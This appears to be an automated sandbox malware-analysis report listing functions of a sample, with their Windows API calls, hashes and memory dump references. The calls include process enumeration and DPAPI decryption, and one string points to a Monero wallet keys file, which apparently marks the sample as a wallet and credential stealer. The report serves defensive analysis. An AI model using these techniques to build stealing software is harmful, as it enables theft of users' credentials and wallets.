Instruction Fuzzy Hash: 440100B5A40208BFDB14DBE5DD49FAD7778AB84704F144155FB09BB2C0D6B0AA04CB65

Function 00CC9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00CC961E
Process32First.KERNEL32(00CD0ACA,00000128), ref: 00CC9632
Process32Next.KERNEL32(00CD0ACA,00000128), ref: 00CC9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00CC965C
CloseHandle.KERNEL32(00CD0ACA), ref: 00CC967A

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 89c4c23f3480a9f09d1d2d5ebaf461fcd0abf4c8e9d095730353f88ebd8c2f2b
Instruction ID: ae28ba94f439bdfa340a7f8d48ab27630ed448d29d4e4ae80167b6b4fe43076b
Opcode Fuzzy Hash: 89c4c23f3480a9f09d1d2d5ebaf461fcd0abf4c8e9d095730353f88ebd8c2f2b
Instruction Fuzzy Hash: 4301E9B5A00208AFCB54DFA6CD48FEDB7F8EB48740F144199E909A6280D774AB44CF51

Function 010713F8 Relevance: 6.6, Strings: 4, Instructions: 1631COMMON

Download Yara Rule

Strings

Z^?, xrefs: 0107207B
ys, xrefs: 01071FB6, 01071FEB
|*<[, xrefs: 0107266E
Jrw, xrefs: 0107162E

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Jrw$Z^?$|*<[$ys
API String ID: 0-3302216416
Opcode ID: 03503f5002b7c4186a75be51cea9943beecd2f9eb3475217747815de32aa7c47
Instruction ID: 81176390d8573783bbfb7af0cc501c053163bf6ddad388b86b5f352b9db24a3d
Opcode Fuzzy Hash: 03503f5002b7c4186a75be51cea9943beecd2f9eb3475217747815de32aa7c47
Instruction Fuzzy Hash: 42B2F7F3A082049FE304AE29DC8567AF7E9EFD4720F1A893DE6C4C7744E63598058697

Function 00CC8680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00CCA740: lstrcpy.KERNEL32(00CD0E17,00000000), ref: 00CCA788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00CD05B7), ref: 00CC86CA
Process32First.KERNEL32(?,00000128), ref: 00CC86DE
Process32Next.KERNEL32(?,00000128), ref: 00CC86F3

Part of subcall function 00CCA9B0: lstrlen.KERNEL32(?,01899C80,?,\Monero\wallet.keys,00CD0E17), ref: 00CCA9C5
Part of subcall function 00CCA9B0: lstrcpy.KERNEL32(00000000), ref: 00CCAA04
Part of subcall function 00CCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00CCAA12

Part of subcall function 00CCA8A0: lstrcpy.KERNEL32(?,00CD0E17), ref: 00CCA905

CloseHandle.KERNEL32(?), ref: 00CC8761

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 86b3bc82e06a022a0b339055741e45e15875576438d56bf93795921b81516456
Instruction ID: 170e370cacdf3fb776fbb7f218ccc1edab6a20ef30ef048c615064a3902515bd
Opcode Fuzzy Hash: 86b3bc82e06a022a0b339055741e45e15875576438d56bf93795921b81516456
Instruction Fuzzy Hash: 06314BB1901218ABCB24EF55DC49FEEB778EF45704F1041ADF50AA61A0EB706E49CFA1

Function 00CC8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00CB5184,40000001,00000000,00000000,?,00CB5184), ref: 00CC8EC0

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 65664dccc1cfbafe2c16773d3375218385f7f1d634cb5095c9ece12e6475835b
Instruction ID: 6d6de2487f77c0e90b1772e9690e02f7f45e4d8a48ddbc4ed84aade8b3582bf9
Opcode Fuzzy Hash: 65664dccc1cfbafe2c16773d3375218385f7f1d634cb5095c9ece12e6475835b
Instruction Fuzzy Hash: CA1106B4200208AFDB04CFA5D888FBB37A9AF89314F14945CF919CB250DB75E94ADB60

Function 00CB9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CB4EEE,00000000,00000000), ref: 00CB9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00CB4EEE,00000000,?), ref: 00CB9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CB4EEE,00000000,00000000), ref: 00CB9B2A
LocalFree.KERNEL32(?,?,?,?,00CB4EEE,00000000,?), ref: 00CB9B3F

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 0c20082c574f794af0303f7bac0652bbabc1a856191af5b8685a787c448744fe
Instruction ID: b47a390b5912e639b59db14513c6c04757b17f5ba8504bcaa00a247560fcdf47
Opcode Fuzzy Hash: 0c20082c574f794af0303f7bac0652bbabc1a856191af5b8685a787c448744fe
Instruction Fuzzy Hash: C911A4B4240308AFEB14CF65DC95FAA77B5FB89700F208058FA199F390C7B5AA01CB50

Function 00CC7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00CD0E00,00000000,?), ref: 00CC79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00CC79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00CD0E00,00000000,?), ref: 00CC79C4
wsprintfA.USER32 ref: 00CC79F3

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 84a7d89d46b17b2ec01a0145cf56650101f460b02c06645005fb92a9edf8f3e3
Instruction ID: a0b37e759497c1e849de57ed97ad077c4e5588abfc6e2c80321fb1e21b877fce
Opcode Fuzzy Hash: 84a7d89d46b17b2ec01a0145cf56650101f460b02c06645005fb92a9edf8f3e3
Instruction Fuzzy Hash: E6112EB2904118ABCB14DFCADD45FBEB7F8FB4CB11F14411AF505A2280D2795944C7B1

Function 00CC7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0189E258,00000000,?,00CD0E10,00000000,?,00000000,00000000), ref: 00CC7A63
RtlAllocateHeap.NTDLL(00000000), ref: 00CC7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0189E258,00000000,?,00CD0E10,00000000,?,00000000,00000000,?), ref: 00CC7A7D
wsprintfA.USER32 ref: 00CC7AB7

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: d16c573e434301ba15fb576466d121810b35a3797727cb520de27fb286d8c8f6
Instruction ID: 24241c317fa3573604535031340c95fae54ce1a137bc8800ff3816b13eb930ba
Opcode Fuzzy Hash: d16c573e434301ba15fb576466d121810b35a3797727cb520de27fb286d8c8f6
Instruction Fuzzy Hash: 8211CEB1905218EFEB208B55CC49FA9B778FB40721F1003AAE90AA32C0D7741E44CF51

Function 00CC3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00CCE118,00000000,00000001,00CCE108,00000000), ref: 00CC3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00CC37B0

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 1c505840d1c63b28286c32e225b0348a17901530e27cb14b457f9fa3759a1dd1
Instruction ID: 5c71347c94631384203dd877a3bc009f6a2458b148d74c77f5563eee97e754e9
Opcode Fuzzy Hash: 1c505840d1c63b28286c32e225b0348a17901530e27cb14b457f9fa3759a1dd1
Instruction Fuzzy Hash: DB41E770A40A289FDB24DB58DC95F9BB7B5BB48702F4081D9E608EB2D0D7716E85CF50

Function 00CB9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00CB9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00CB9BA3
LocalFree.KERNEL32(?), ref: 00CB9BD3

Memory Dump Source

Source File: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a0e80b43ee398b77e753b5abb16cc45be4742de2ebedf0308fd24a729948ad49
Instruction ID: 2bf5aa399ead0a1e305cac4fe8e1ebcbc41edf00b7b8a78c1359d5712f3b932b
Opcode Fuzzy Hash: a0e80b43ee398b77e753b5abb16cc45be4742de2ebedf0308fd24a729948ad49
Instruction Fuzzy Hash: 6611BAB4A00209DFDB04DFA4D985AAE77B5FF88300F104569E915AB390D774AE14CFA1

Function 0107E8A9 Relevance: 4.1, Strings: 2, Instructions: 1572COMMON

Download Yara Rule

Strings

4\W, xrefs: 0107F0E6
C7|, xrefs: 0107EBE4

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4\W$C7|
API String ID: 0-3325730710
Opcode ID: 6b11bbe5b79efa16626acfa630ed8b62dfdb719ddfadbdb4a31e396139e8c7ae
Instruction ID: e19c3ce05dfb8244e2851e0c7b4e6b23867a2c663dbe3e669982f37b076fc433
Opcode Fuzzy Hash: 6b11bbe5b79efa16626acfa630ed8b62dfdb719ddfadbdb4a31e396139e8c7ae
Instruction Fuzzy Hash: 57B205F390C2049FD3046F29EC8566AFBE9EF94720F1A893DEAC483744EA3558458797

Function 0100381A Relevance: 2.7, Strings: 2, Instructions: 194COMMON

Download Yara Rule

Strings

RB^, xrefs: 0100394E
#T?, xrefs: 01003853

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001196000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705844607.00000000011A6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705970440.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705986549.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cb0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #T?$RB^
API String ID: 0-3580500507
Opcode ID: 5287e3f1276909bb938eeb4751d0fd5e13f29525fd0dc8ff4c648d3647a42251
Instruction ID: e83e9b9d56effe62eaaaf9cf12515236b6c9982970628c3e9fa772e68327c4fe
Opcode Fuzzy Hash: 5287e3f1276909bb938eeb4751d0fd5e13f29525fd0dc8ff4c648d3647a42251
Instruction Fuzzy Hash: D861CEB39083109FE3047F29DC8537AB7E5EF94720F1A492DDAC893384EA7958458B87

Function 00F7BC49 Relevance: 1.5, Strings: 1, Instructions: 221COMMON

Download Yara Rule

Strings

BW/v, xrefs: 00F7BD3B

Memory Dump Source

Source File: 00000000.00000002.1705397721.0000000000F0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CB0000, based on PE: true

Associated: 00000000.00000002.1705017760.0000000000CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000CB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D61000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705043381.0000000000EFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.0000000001098000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000116D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1705397721.000000000118F000.00000040.00000001.01000000.00000003.sdmpDownload File
